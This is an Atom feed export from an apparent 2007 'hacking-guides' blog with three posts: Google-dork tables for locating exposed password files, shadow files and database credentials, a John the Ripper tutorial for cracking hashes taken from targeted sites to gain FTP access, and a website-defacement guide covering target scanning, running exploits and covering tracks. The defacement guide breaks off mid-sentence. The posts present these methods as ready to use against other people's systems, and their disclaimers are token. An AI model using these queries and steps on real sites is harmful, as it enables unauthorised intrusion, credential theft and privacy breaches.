filetype:user user Eggdrop IRC user credentials&lt;br /&gt;filetype:ini inurl:flashFXP.ini FlashFXP FTP credentials&lt;br /&gt;filetype:url +inurl:”ftp://” FTP bookmarks cleartext passwords&lt;br /&gt;+inurl:”@”&lt;br /&gt;inurl:zebra.conf intext: GNU Zebra passwords&lt;br /&gt;password -sample -test&lt;br /&gt;-tutorial –download&lt;br /&gt;filetype:htpasswd htpasswd HTTP htpasswd Web user credentials&lt;br /&gt;intitle:”Index of” “.htpasswd” HTTP htpasswd Web user credentials&lt;br /&gt;“htgroup” -intitle:”dist”&lt;br /&gt;-apache -htpasswd.c&lt;br /&gt;intitle:”Index of” “.htpasswd” HTTP htpasswd Web user credentials&lt;br /&gt;htpasswd.bak&lt;br /&gt;“http://*:*@www” bob:bob HTTP passwords (bob is a sample username)&lt;br /&gt;“sets mode: +k” IRC channel keys (passwords)&lt;br /&gt;“Your password is * Remember IRC NickServ registration passwords&lt;br /&gt;this for later use”&lt;br /&gt;signin filetype:url JavaScript authentication credentials&lt;br /&gt;&lt;br /&gt;Queries That Locate Password Information&lt;br /&gt;Query Description&lt;br /&gt;LeapFTP intitle:”index.of./” LeapFTP client login credentials&lt;br /&gt;sites.ini modified&lt;br /&gt;inurl:lilo.conf filetype:conf LILO passwords&lt;br /&gt;password -tatercounter2000&lt;br /&gt;-bootpwd –man&lt;br /&gt;filetype:config config intext: Microsoft .NET application credentials&lt;br /&gt;appSettings “User ID”&lt;br /&gt;filetype:pwd service Microsoft FrontPage Service Web passwords&lt;br /&gt;intitle:index.of Microsoft FrontPage Web credentials&lt;br /&gt;administrators.pwd&lt;br /&gt;“# -FrontPage-” inurl:service.pwd Microsoft FrontPage Web passwords&lt;br /&gt;ext:pwd inurl:_vti_pvt inurl: Microsoft FrontPage Web passwords&lt;br /&gt;(Service  authors  administrators)&lt;br /&gt;inurl:perform filetype:ini mIRC nickserv credentials&lt;br /&gt;intitle:”index of” intext: mySQL database credentials&lt;br /&gt;connect.inc&lt;br /&gt;intitle:”index of” intext: mySQL database credentials&lt;br /&gt;globals.inc&lt;br /&gt;filetype:conf oekakibbs Oekakibss user passwords&lt;br /&gt;filetype:dat wand.dat Opera‚ ÄúMagic Wand‚Äù Web credentials&lt;br /&gt;inurl:ospfd.conf intext: OSPF Daemon Passwords&lt;br /&gt;password -sample -test&lt;br /&gt;-tutorial –download&lt;br /&gt;index.of passlist Passlist user credentials&lt;br /&gt;inurl:passlist.txt passlist.txt file user credentials&lt;br /&gt;filetype:dat “password.dat” password.dat files&lt;br /&gt;inurl:password.log filetype:log password.log file reveals usernames, passwords,&lt;br /&gt;and hostnames&lt;br /&gt;filetype:log inurl:”password.log” password.log files cleartext passwords&lt;br /&gt;inurl:people.lst filetype:lst People.lst generic password file&lt;br /&gt;intitle:index.of config.php PHP Configuration File database credentials&lt;br /&gt;inurl:config.php dbuname dbpass PHP Configuration File database credentials&lt;br /&gt;inurl:nuke filetype:sql PHP-Nuke credentials&lt;br /&gt;Queries That Locate Password Information&lt;br /&gt;Query Description&lt;br /&gt;filetype:conf inurl:psybnc.conf psyBNC IRC user credentials&lt;br /&gt;“USER.PASS=”&lt;br /&gt;filetype:ini ServUDaemon servU FTP Daemon credentials&lt;br /&gt;filetype:conf slapd.conf slapd configuration files root password&lt;br /&gt;inurl:”slapd.conf” intext: slapd LDAP credentials&lt;br /&gt;”credentials” -manpage&lt;br /&gt;-”Manual Page” -man: -sample&lt;br /&gt;inurl:”slapd.conf” intext: slapd LDAP root password&lt;br /&gt;”rootpw” -manpage&lt;br /&gt;-”Manual Page” -man: -sample&lt;br /&gt;filetype:sql “IDENTIFIED BY” –cvs SQL passwords&lt;br /&gt;filetype:sql password SQL passwords&lt;br /&gt;filetype:ini wcx_ftp Total Commander FTP passwords&lt;br /&gt;filetype:netrc password UNIX .netrc user credentials&lt;br /&gt;index.of.etc UNIX /etc directories contain various credential&lt;br /&gt;files&lt;br /&gt;intitle:”Index of..etc” passwd UNIX /etc/passwd user credentials&lt;br /&gt;intitle:index.of passwd UNIX /etc/passwd user credentials&lt;br /&gt;passwd.bak&lt;br /&gt;intitle:”Index of” pwd.db UNIX /etc/pwd.db credentials&lt;br /&gt;intitle:Index.of etc shadow UNIX /etc/shadow user credentials&lt;br /&gt;intitle:index.of master.passwd UNIX master.passwd user credentials&lt;br /&gt;intitle:”Index of” spwd.db UNIX spwd.db credentials&lt;br /&gt;passwd -pam.conf&lt;br /&gt;filetype:bak inurl:”htaccess UNIX various password file backups&lt;br /&gt;passwdshadowhtusers&lt;br /&gt;filetype:inc dbconn Various database credentials&lt;br /&gt;filetype:inc intext:mysql_ Various database credentials, server names&lt;br /&gt;connect&lt;br /&gt;filetype:properties inurl:db Various database credentials, server names&lt;br /&gt;intext:password&lt;br /&gt;inurl:vtund.conf intext:pass –cvs Virtual Tunnel Daemon passwords&lt;br /&gt;inurl:”wvdial.conf” intext: wdial dialup user credentials&lt;br /&gt;&lt;br /&gt;Queries That Locate Password Information&lt;br /&gt;Query Description&lt;br /&gt;filetype:mdb wwforum Web Wiz Forums Web credentials&lt;br /&gt;“AutoCreate=TRUE password=*”Website Access Analyzer user passwords&lt;br /&gt;filetype:pwl pwl Windows Password List user credentials&lt;br /&gt;filetype:reg reg +intext: Windows Registry Keys containing user&lt;br /&gt;”defaultusername” intext: credentials&lt;br /&gt;”defaultpassword”&lt;br /&gt;filetype:reg reg +intext: Windows Registry Keys containing user&lt;br /&gt;”internet account manager” credentials&lt;br /&gt;“index of/” “ws_ftp.ini” WS_FTP FTP credentials&lt;br /&gt;“parent directory”&lt;br /&gt;filetype:ini ws_ftp pwd WS_FTP FTP user credentials&lt;br /&gt;inurl:/wwwboard wwwboard user credentials&lt;br /&gt;In most cases, passwords discovered on the Web are either encrypted or&lt;br /&gt;encoded in some way. In most cases, these passwords can be fed into a password&lt;br /&gt;cracker such as John the Ripper from www.openwall.com/john to produce&lt;br /&gt;plaintext passwords that can be used in an attack. Figure 9.6 shows the results of&lt;br /&gt;the search ext:pwd inurl:_vti_pvt inurl:(Service  authors  administrators), which&lt;br /&gt;combines a search for some common&lt;br /&gt;&lt;br /&gt;Exported Windows registry files often contain encrypted or encoded passwords&lt;br /&gt;as well. If a user exports the Windows registry to a file and Google subsequently&lt;br /&gt;crawls that file, a query like filetype:reg intext:”internet account manager”&lt;br /&gt;could reveal interesting keys containing password data&lt;br /&gt;&lt;br /&gt;ress. Note that live, exported Windows registry files are not very common, but it’s&lt;br /&gt;not uncommon for an attacker to target a site simply because of one exceptionally&lt;br /&gt;insecure file. It’s also possible for a Google query to uncover cleartext passwords.&lt;br /&gt;These passwords can be used as is without having to employ a&lt;br /&gt;password-cracking utility. In these extreme cases, the only challenge is determining&lt;br /&gt;the username as well as the host on which the password can be used. As&lt;br /&gt;shown in Figure 9.8, certain queries will locate all the following information:&lt;br /&gt;usernames, cleartext passwords, and the host that uses that authentication!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There is no magic query for locating passwords, but during an assessment,&lt;br /&gt;remember that the simplest queries directed at a site can have amazing results, as&lt;br /&gt;we discussed in , Chapter 7, Ten Simple Searches. For example, a query like “Your&lt;br /&gt;password” forgot would locate pages that provide a forgotten password recovery&lt;br /&gt;mechanism.The information from this type of query can be used to formulate&lt;br /&gt;any of a number of attacks against a password. As always, effective social engineering&lt;br /&gt;is a terrific nontechnical solution to “forgotten” passwords.&lt;br /&gt;Another generic search for password information, intext:(password  passcode &lt;br /&gt;pass) intext:(username  userid  user), combines common words for passwords and&lt;br /&gt;user IDs into one query.This query returns a lot of results, but the vast majority&lt;br /&gt;of the top hits refer to pages that list forgotten password information, including&lt;br /&gt;either links or contact information. Using Google’s translate feature, found at&lt;br /&gt;http://translate.google.com/translate_t, we could also create multilingual password&lt;br /&gt;searches.Table 9.3 lists common translations for the word password&lt;br /&gt;English Translations of the Word Password&lt;br /&gt;&lt;strong&gt;Language Word Translation&lt;/strong&gt;&lt;br /&gt;German password Kennwort&lt;br /&gt;Spanish password contraseña&lt;br /&gt;French password mot de passe&lt;br /&gt;Italian password parola d’accesso&lt;br /&gt;Portuguese password senha&lt;br /&gt;Dutch password Paswoord&lt;br /&gt;&lt;strong&gt;NOTE&lt;/strong&gt;&lt;br /&gt;The terms username and userid in most languages translate to username&lt;br /&gt;and userid, respectively.&lt;br /&gt;&lt;strong&gt;Searching for Credit Card Numbers,&lt;br /&gt;Social Security Numbers, and More&lt;/strong&gt;&lt;br /&gt;Most people have heard news stories about Web hackers making off with customer&lt;br /&gt;credit card information.With so many fly-by night retailers popping up&lt;br /&gt;on the Internet, it’s no wonder that credit card fraud is so prolific.These momand-&lt;br /&gt;pop retailers are not the only ones successfully compromised by hackers.&lt;br /&gt;Corporate giants by the hundreds have had financial database compromises over&lt;br /&gt;the years, victims of sometimes very technical, highly focused attackers. What&lt;br /&gt;might surprise you is that it doesn’t take a rocket scientist to uncover live credit&lt;br /&gt;card numbers on the Internet, thanks to search engines like Google. Everything&lt;br /&gt;from credit information to banking data or supersensitive classified government&lt;br /&gt;documents can be found on the Web. Consider the (highly edited) Web page&lt;br /&gt;&lt;br /&gt;This document, found using Google, lists hundreds and hundreds of credit&lt;br /&gt;card numbers (including expiration date and card validation numbers) as well as&lt;br /&gt;the owners’ names, addresses, and phone numbers.This particular document also&lt;br /&gt;included phone card (calling card) numbers. Notice the scroll bar on the righthand&lt;br /&gt;side of Figure 9.9, an indicator that the displayed page is only a small part&lt;br /&gt;of this huge document—like many other documents of its kind. In most cases,&lt;br /&gt;pages that contain these numbers are not “leaked” from online retailers or ecommerce&lt;br /&gt;sites but rather are most likely the fruits of a scam known as phishing,&lt;br /&gt;in which users are solicited via telephone or e-mail for personal information.&lt;br /&gt;Several Web sites, including MillerSmiles.co.uk, document these scams and&lt;br /&gt;hoaxes. Figure 9.10 shows a screen shot of a popular eBay phishing scam that&lt;br /&gt;encourages users to update their eBay profile information.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once a user fills out this form, all the information is sent via e-mail to the&lt;br /&gt;attacker, who can use it for just about anything.&lt;br /&gt;Tools and Traps&lt;br /&gt;&lt;strong&gt;Catching Online Scammers&lt;br /&gt;&lt;/strong&gt;In some cases, you might be able to use Google to help nab the bad guys.&lt;br /&gt;Phishing scams are effective because the fake page looks like an official&lt;br /&gt;page. To create an official-looking page, the bad guys must have examples&lt;br /&gt;to work from, meaning that they must have visited a few legitimate companies’&lt;br /&gt;Web sites. If the fishing scam was created using text from several&lt;br /&gt;companies’ existing pages, you can key in on specific phrases from the fake&lt;br /&gt;page, creating Google queries designed to round up the servers that hosted&lt;br /&gt;some of the original content. Once you’ve located the servers that contained&lt;br /&gt;the pilfered text, you can work with the companies involved to&lt;br /&gt;extract correlating connection data from their log files. If the scammer visited&lt;br /&gt;each company’s Web page, collecting bits of realistic text, his IP should&lt;br /&gt;appear in each of the log files. Auditors at SensePost (www.sensepost.com)&lt;br /&gt;have successfully used this technique to nab online scam artists.&lt;br /&gt;Unfortunately, if the scammer uses an exact copy of a page from only one&lt;br /&gt;company, this task becomes much more difficult to accomplish.&lt;br /&gt;Social Security Numbers&lt;br /&gt;Social Security numbers (SSNs) and other sensitive data can be easily located&lt;br /&gt;with Google as well as via the same techniques used to locate credit card numbers.&lt;br /&gt;For a variety of reasons, SSNs might appear online—for example, educational&lt;br /&gt;facilities are notorious for using an SSN as a student ID, then posting&lt;br /&gt;grades to a public Web site with the “student ID” displayed next to the grade.A&lt;br /&gt;creative attacker can do quite a bit with just an SSN, but in many cases it helps&lt;br /&gt;to also have a name associated with that SSN. Again, educational facilities have&lt;br /&gt;been found exposing this information via Excel spreadsheets listing student’s&lt;br /&gt;names, grades, and SSNs, despite the fact that the student ID number is often&lt;br /&gt;used to help protect the privacy of the student! Although we don’t feel it’s right&lt;br /&gt;to go into the details of how this data is located, several media outlets have irresponsibly&lt;br /&gt;posted the details online. Although the blame lies with the sites that are&lt;br /&gt;leaking this information, in our opinion it’s still not right to draw attention to&lt;br /&gt;how exactly the information can be located.&lt;br /&gt;Personal Financial Data&lt;br /&gt;In some cases, phishing scams are responsible for publicizing personal information;&lt;br /&gt;in other cases, hackers attacking online retails are to blame for this breach of&lt;br /&gt;privacy. Sadly, there are many instances where an individual is personally responsible&lt;br /&gt;for his own lack of privacy. Such is the case with personal financial information.&lt;br /&gt;With the explosion of personal computers in today’s society, users have&lt;br /&gt;literally hundreds of personal finance programs to choose from. Many of these&lt;br /&gt;programs create data files with specific file extensions that can be searched with&lt;br /&gt;Google. It’s hard to imagine why anyone would post personal financial information&lt;br /&gt;to a public Web site (which subsequently gets crawled by Google), but it&lt;br /&gt;must happen quite a bit, judging by the number of hits for program files generated&lt;br /&gt;by Quicken and Microsoft Money, for example. Although it would be&lt;br /&gt;somewhat irresponsible to provide queries here that would unearth personal&lt;br /&gt;financial data, it’s important to understand the types of data that could potentially&lt;br /&gt;be uncovered by an attacker.To that end,Table 9.4 shows file extensions for various&lt;br /&gt;financial, accounting, and tax return programs. Ensure that these filetypes&lt;br /&gt;aren’t listed on a webserver you’re charged with protecting.&lt;br /&gt;&lt;strong&gt;File Extension Description&lt;br /&gt;&lt;/strong&gt;afm Abassis Finance Manager&lt;br /&gt;ab4 Accounting and Business File&lt;br /&gt;mmw AceMoney File&lt;br /&gt;Iqd AmeriCalc Mutual Fund Tax Report&lt;br /&gt;et2 Electronic Tax Return Security File (Australia)&lt;br /&gt;tax Intuit TurboTax Tax Return&lt;br /&gt;t98-t04 Kiplinger Tax Cut File (extension based on two-digit return&lt;br /&gt;year)&lt;br /&gt;mny Microsoft Money 2004 Money Data Files&lt;br /&gt;mbf Microsoft Money Backup Files&lt;br /&gt;inv MSN Money Investor File&lt;br /&gt;ptdb Peachtree Accounting Database&lt;br /&gt;qbb QuickBooks Backup Files reveal financial data&lt;br /&gt;qdf Quicken personal finance data&lt;br /&gt;soa Sage MAS 90 accounting software&lt;br /&gt;sdb Simply Accounting&lt;br /&gt;stx Simply Tax Form&lt;br /&gt;tmd Time and Expense Tracking&lt;br /&gt;tls Timeless Time &amp;amp; Expense&lt;br /&gt;fec U.S. Federal Campaign Expense Submission&lt;br /&gt;wow Wings Accounting File&lt;br /&gt;&lt;strong&gt;Searching for Other Juicy Info&lt;/strong&gt;&lt;br /&gt;As we’ve seen, Google can be used to locate all sorts of sensitive information. In&lt;br /&gt;this section we take a look at some of the data that Google can find that’s harder&lt;br /&gt;to categorize. From address books to chat log files and network vulnerability&lt;br /&gt;reports, there’s no shortage of sensitive data online.Table 9.5 shows some queries&lt;br /&gt;that can be used to uncover various types of sensitive data.&lt;br /&gt;Query Description&lt;br /&gt;intext:”Session Start AIM and IRC log files&lt;br /&gt;* * * *:*:* *” filetype:log&lt;br /&gt;filetype:blt blt +intext: AIM buddy lists&lt;br /&gt;screenname&lt;br /&gt;buddylist.blt AIM buddy lists&lt;br /&gt;intitle:index.of cgiirc.config CGIIRC (Web-based IRC client) config file,&lt;br /&gt;shows IRC servers and user credentials&lt;br /&gt;inurl:cgiirc.config CGIIRC (Web-based IRC client) config file,&lt;br /&gt;shows IRC servers and user credentials&lt;br /&gt;“Index of” / “chat/logs” Chat logs&lt;br /&gt;intitle:”Index Of” cookies.txt cookies.txt file reveals user information&lt;br /&gt;“size”&lt;br /&gt;“phone * * *” “address *” Curriculum vitae (resumes) reveal names&lt;br /&gt;“e-mail” intitle:”curriculum vitae” and address information&lt;br /&gt;ext:ini intext:env.ini Generic environment data&lt;br /&gt;intitle:index.of inbox Generic mailbox files&lt;br /&gt;“Running in Child mode” Gnutella client data and statistics&lt;br /&gt;“:8080” “:3128” “:80” HTTP Proxy lists&lt;br /&gt;filetype:txt&lt;br /&gt;intitle:”Index of” ICQ chat logs&lt;br /&gt;dbconvert.exe chats&lt;br /&gt;“sets mode: +p” IRC private channel information&lt;br /&gt;“sets mode: +s” IRC secret channel information&lt;br /&gt;“Host Vulnerability Summary ISS vulnerability scanner reports, reveal&lt;br /&gt;Report” potential vulnerabilities on hosts and&lt;br /&gt;networks&lt;br /&gt;“Network Vulnerability ISS vulnerability scanner reports, reveal&lt;br /&gt;Assessment Report” potential vulnerabilities on hosts and networks&lt;br /&gt;filetype:pot inurl:john.pot John the Ripper password cracker results&lt;br /&gt;intitle:”Index Of” -inurl:maillog Maillog files reveals e-mail traffic&lt;br /&gt;maillog size information&lt;br /&gt;ext:mdb inurl:*.mdb inurl: Microsoft FrontPage database folders&lt;br /&gt;Query Description&lt;br /&gt;filetype:xls inurl:contact Microsoft Excel sheets containing contact&lt;br /&gt;information.&lt;br /&gt;intitle:index.of haccess.ctl Microsoft FrontPage equivalent(?)of htaccess&lt;br /&gt;shows Web authentication info&lt;br /&gt;ext:log “Software: Microsoft Microsoft Internet Information Services&lt;br /&gt;Internet Information Services *.*” (IIS) log files&lt;br /&gt;filetype:pst inurl:”outlook.pst” Microsoft Outlook e-mail and calendar&lt;br /&gt;backup files&lt;br /&gt;intitle:index.of mt-db-pass.cgi Movable Type default file&lt;br /&gt;filetype:ctt ctt messenger MSN Messenger contact lists&lt;br /&gt;“This file was generated Nessus vulnerability scanner reports, reveal&lt;br /&gt;by Nessus” potential vulnerabilities on hosts and networks&lt;br /&gt;inurl:”newsletter/admin/” Newsletter administration information&lt;br /&gt;inurl:”newsletter/admin/” Newsletter administration information&lt;br /&gt;intitle:”newsletter admin”&lt;br /&gt;filetype:eml eml intext: Outlook Express e-mail files&lt;br /&gt;”Subject” +From&lt;br /&gt;intitle:index.of inbox dbx Outlook Express Mailbox files&lt;br /&gt;intitle:index.of inbox dbx Outlook Express Mailbox files&lt;br /&gt;filetype:mbx mbx intext:Subject Outlook v1–v4 or Eudora mailbox files&lt;br /&gt;inurl:/public/?Cmd=contents Outlook Web Access public folders or&lt;br /&gt;appointments&lt;br /&gt;filetype:pdb pdb backup (Pilot Palm Pilot Hotsync database files&lt;br /&gt; Pluckerdb)&lt;br /&gt;“This is a Shareaza Node” Shareaza client data and statistics&lt;br /&gt;inurl:/_layouts/settings Sharepoint configuration information&lt;br /&gt;inurl:ssl.conf filetype:conf SSL configuration files, reveal various configuration&lt;br /&gt;information&lt;br /&gt;site:edu admin grades Student grades&lt;br /&gt;intitle:index.of mystuff.xml Trillian user Web links&lt;br /&gt;inurl:forward filetype: UNIX mail forward files reveal e-mail&lt;br /&gt;forward –cvs addresses&lt;br /&gt;intitle:index.of dead.letter UNIX unfinished e-mails&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Summary&lt;/strong&gt;&lt;br /&gt;Make no mistake—there’s sensitive data on the Web, and Google can find it.&lt;br /&gt;There’s hardly any limit to the scope of information that can be located, if only&lt;br /&gt;you can figure out the right query. From usernames to passwords, credit card and&lt;br /&gt;Social Security numbers, and personal financial information, it’s all out there. As a&lt;br /&gt;purveyor of the “dark arts,” you can relish in the stupidity of others, but as a professional&lt;br /&gt;tasked with securing a customer’s site from this dangerous form of&lt;br /&gt;information leakage, you could be overwhelmed by the sheer scale of your&lt;br /&gt;defensive duties.&lt;br /&gt;As droll as it might sound, a solid, enforced security policy is a great way to&lt;br /&gt;keep sensitive data from leaking to the Web. If users understand the risks associated&lt;br /&gt;with information leakage and understand the penalties that come with violating&lt;br /&gt;policy, they will be more willing to cooperate in what should be a security&lt;br /&gt;partnership.&lt;br /&gt;In the meantime, it certainly doesn’t hurt to understand the tactics an adversary&lt;br /&gt;might employ in attacking a Web server. One thing that should become&lt;br /&gt;clear as you read this book is that any attacker has an overwhelming number of&lt;br /&gt;files to go after. One way to prevent dangerous Web information leakage is by&lt;br /&gt;denying requests for unknown file types. Whether your Web server normally&lt;br /&gt;serves up CFM,ASP, PHP, or HTML, it’s infinitely easier to manage what should&lt;br /&gt;be served by the Web server instead of focusing on what should not be served.&lt;br /&gt;Adjust your servers or your border protection devices to allow only specific content&lt;br /&gt;or file types.&lt;br /&gt;Solutions Fast Track&lt;br /&gt;&lt;strong&gt;Searching for Usernames&lt;/strong&gt;&lt;br /&gt;_ Usernames can be found in a variety of locations.&lt;br /&gt;_ In some cases, digging through documents or e-mail directories might&lt;br /&gt;be required.&lt;br /&gt;_ A simple query such as “your username is” can be very effective in&lt;br /&gt;locating usernames.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Searching for Passwords&lt;br /&gt;&lt;/strong&gt;_ Passwords can also be found in a variety locations.&lt;br /&gt;_ A query such as “Your password” forgot can locate pages that provide a&lt;br /&gt;forgotten-password recovery mechanism.&lt;br /&gt;_ intext:(password  passcode  pass) intext:(username  userid  user) is&lt;br /&gt;another generic search for locating password information.&lt;br /&gt;Searching for Credit Cards&lt;br /&gt;Numbers, Social Security Numbers, and More&lt;br /&gt;_ Documents containing credit card and Social Security number&lt;br /&gt;information do exist and are relatively prolific.&lt;br /&gt;_ Some irresponsible news outlets have revealed functional queries that&lt;br /&gt;locate this information.&lt;br /&gt;_ There are relatively few examples of personal financial data online, but&lt;br /&gt;there is a great deal of variety.&lt;br /&gt;_ In most cases, specific file extensions can be searched for.&lt;br /&gt;Searching for Other Juicy Info&lt;br /&gt;_ From address books and chat log files to network vulnerability reports,&lt;br /&gt;there’s no shortage of sensitive data online.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-439764695528263456?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/439764695528263456/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=439764695528263456' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/439764695528263456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/439764695528263456'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/hacking-google-for-finding-passwords.html' title='HAcking google for finding passwords and other personal info'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-7616092041906785956</id><published>2007-12-02T01:32:00.001-08:00</published><updated>2007-12-02T01:32:36.351-08:00</updated><title type='text'>John the ripper tutorial</title><content type='html'>inside the file i targeted i found the hashed password like this &lt;br /&gt;&lt;br /&gt;blah:S2XSgk2WEfE9w &lt;br /&gt;&lt;br /&gt;so saved to list ready to crack , i called mine MD5pass for this lesson &lt;br /&gt;&lt;br /&gt;this is what jtr will be cracking, &lt;br /&gt;&lt;br /&gt;after you have several passwords to various sites you can begin jtr or just use a single hashed password ..its up to you &lt;br /&gt;&lt;br /&gt;now there are many ways to crack the file using jtr am just going to use the basic &lt;br /&gt;one i find the easiest but slowest to use...there are plenty of jtr guides around for more detail cracking modes &lt;br /&gt;&lt;br /&gt;common modes are &lt;br /&gt;&lt;br /&gt;john -si [passfile] &lt;br /&gt;&lt;br /&gt;john -w:[wordlist] [passfile] &lt;br /&gt;&lt;br /&gt;john -i [passfile] &lt;br /&gt;&lt;br /&gt;there are other modes using digits,alpha,all...they all do the same thing... anyway on to basics &lt;br /&gt;&lt;br /&gt;assuming you have john in C:\ directory just type &lt;br /&gt;&lt;br /&gt;c:\john -i MD5pass.txt &lt;br /&gt;&lt;br /&gt;image 1 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;after several minutes\hours you should have something like this with cracked passwords if you take a look at the image &lt;br /&gt;&lt;br /&gt;after 21 minutes it had cracked 13 of the 36...not bad after 3hrs 24min 18 cracked...half done  btw each password cracked is a website....so up to now 18 possible targets &lt;br /&gt;&lt;br /&gt;image 2 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;to check progress hit any key &lt;br /&gt;&lt;br /&gt;to stop the cracking hit Ctrl+c session aborted &lt;br /&gt;&lt;br /&gt;to view your results type: &lt;br /&gt;&lt;br /&gt;c:\john -show MD5pass.txt&gt;result2.txt....this will save the file called result2.txt in the jtr root like this &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;image 3 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;you now have the password to gain access to the ftp,or whatever &lt;br /&gt;&lt;br /&gt;to resume your cracking &lt;br /&gt;&lt;br /&gt;type: &lt;br /&gt;&lt;br /&gt;c:\john -restore &lt;br /&gt;&lt;br /&gt;will load the remaning uncracked passwords and resume attempts from were it left off &lt;br /&gt;&lt;br /&gt;image 4 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;JTR Commands and Modes &lt;br /&gt;&lt;br /&gt;**if you look in the doc folder that came with JTR it gives you details on how to use them** &lt;br /&gt;&lt;br /&gt;hope you enjoyed the tutorial...remember if you do gain access to a site\server please inform the admin &lt;br /&gt;&lt;br /&gt;i hold no resposibility for your actions&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-7616092041906785956?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/7616092041906785956/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=7616092041906785956' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7616092041906785956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7616092041906785956'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/john-ripper-tutorial.html' title='John the ripper tutorial'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-5265896502014181377</id><published>2007-12-02T01:30:00.000-08:00</published><updated>2007-12-02T01:31:02.697-08:00</updated><title type='text'>Steps To Deface A Webpage (About Defacers)</title><content type='html'>First of all, I do not deface, I never have (besides friends sites as jokes and all in good fun), and never will. So how do I know how to deface? I guess I just picked it up on the way, so I am no expert in this. If I get a thing or two wrong I apoligize. It is pretty simple when you think that defacing is just replacing a file on a computer. Now, finding the exploit in the first place, that takes skill, that takes knowledge, that is what real hackers are made of. I don't encourage that you deface any sites, as this can be used get credit cards, get passwords, get source code, billing info, email databases, etc.. (it is only right to put up some kind of warning. now go have fun ;) &lt;br /&gt;&lt;br /&gt;This tutorial will be broken down into 3 main sections, they are as followed: &lt;br /&gt;1. Finding Vuln Hosts. &lt;br /&gt;2. Getting In. &lt;br /&gt;3. Covering Your Tracks &lt;br /&gt;&lt;br /&gt;It really is easy, and I will show you how easy it is. &lt;br /&gt;&lt;br /&gt;1. Finding Vuln Hosts &lt;br /&gt;This section needs to be further broken down into two catigories of script kiddies: ones who scan the net for a host that is vuln to a certain exploit and ones who search a certain site for any exploit. The ones you see on alldas are the first kind, they scan thousands of sites for a specific exploit. They do not care who they hack, anyone will do. They have no set target and not much of a purpose. In my opinion these people should either have a cause behind what they are doing, ie. "I make sure people keep up to date with security, I am a messanger" or "I am spreading a political message, I use defacments to get media attention". People who deface to get famous or to show off their skills need to grow up and relize there is a better way of going about this (not that I support the ones with other reasons ether). Anyways, the two kinds and what you need to know about them: &lt;br /&gt;&lt;br /&gt;Scanning Script Kiddie: You need to know what signs of the hole are, is it a service? A certain OS? A CGI file? How can you tell if they are vuln? What version(s) are vuln? You need to know how to search the net to find targets which are running whatever is vuln. Use altavista.com or google.com for web based exploits. Using a script to scan ip ranges for a certain port that runs the vuln service. Or using netcraft.com to find out what kind of server they are running and what extras it runs (frontpage, php, etc..) nmap and other port scanners allow quick scans of thousands of ips for open ports. This is a favorate technique of those guys you see with mass hacks on alldas. &lt;br /&gt;&lt;br /&gt;Targetted Site Script Kiddie: More respectable then the script kiddies who hack any old site. The main step here is gathering as much information about a site as possible. Find out what OS they run at netcraft or by using: telnet www.site.com 80 then GET / HTTP/1.1 Find out what services they run by doing a port scan. Find out the specifics on the services by telnetting to them. Find any cgi script, or other files which could allow access to the server if exploited by checking /cgi /cgi-bin and browsing around the site (remember to index browse) &lt;br /&gt;&lt;br /&gt;Wasn't so hard to get the info was it? It may take awhile, but go through the site slowly and get all the information you can. &lt;br /&gt;&lt;br /&gt;2. Getting In &lt;br /&gt;Now that we got the info on the site we can find the exploit(s) we can use to get access. If you were a scanning script kiddie you would know the exploit ahead of time. A couple of great places to look for exploits are Security Focus and packetstorm. Once you get the exploit check and make sure that the exploit is for the same version as the service, OS, script, etc.. Exploits mainly come in two languages, the most used are C and perl. Perl scripts will end in .pl or .cgi, while C will end in .c To compile a C file (on *nix systems) do gcc -o exploit12 file.c then: ./exploit12 For perl just do: chmod 700 file.pl (not really needed) then: perl file.pl. If it is not a script it might be a very simple exploit, or just a theory of a possible exploit. Just do alittle research into how to use it. Another thing you need to check is weither the exploit is remote or local. If it is local you must have an account or physical access to the computer. If it is remote you can do it over a network (internet). &lt;br /&gt;&lt;br /&gt;Don't go compiling exploits just yet, there is one more important thing you need to know &lt;br /&gt;&lt;br /&gt;Covering Your Tracks &lt;br /&gt;So by now you have gotten the info on the host inorder to find an exploit that will allow you to get access. So why not do it? The problem with 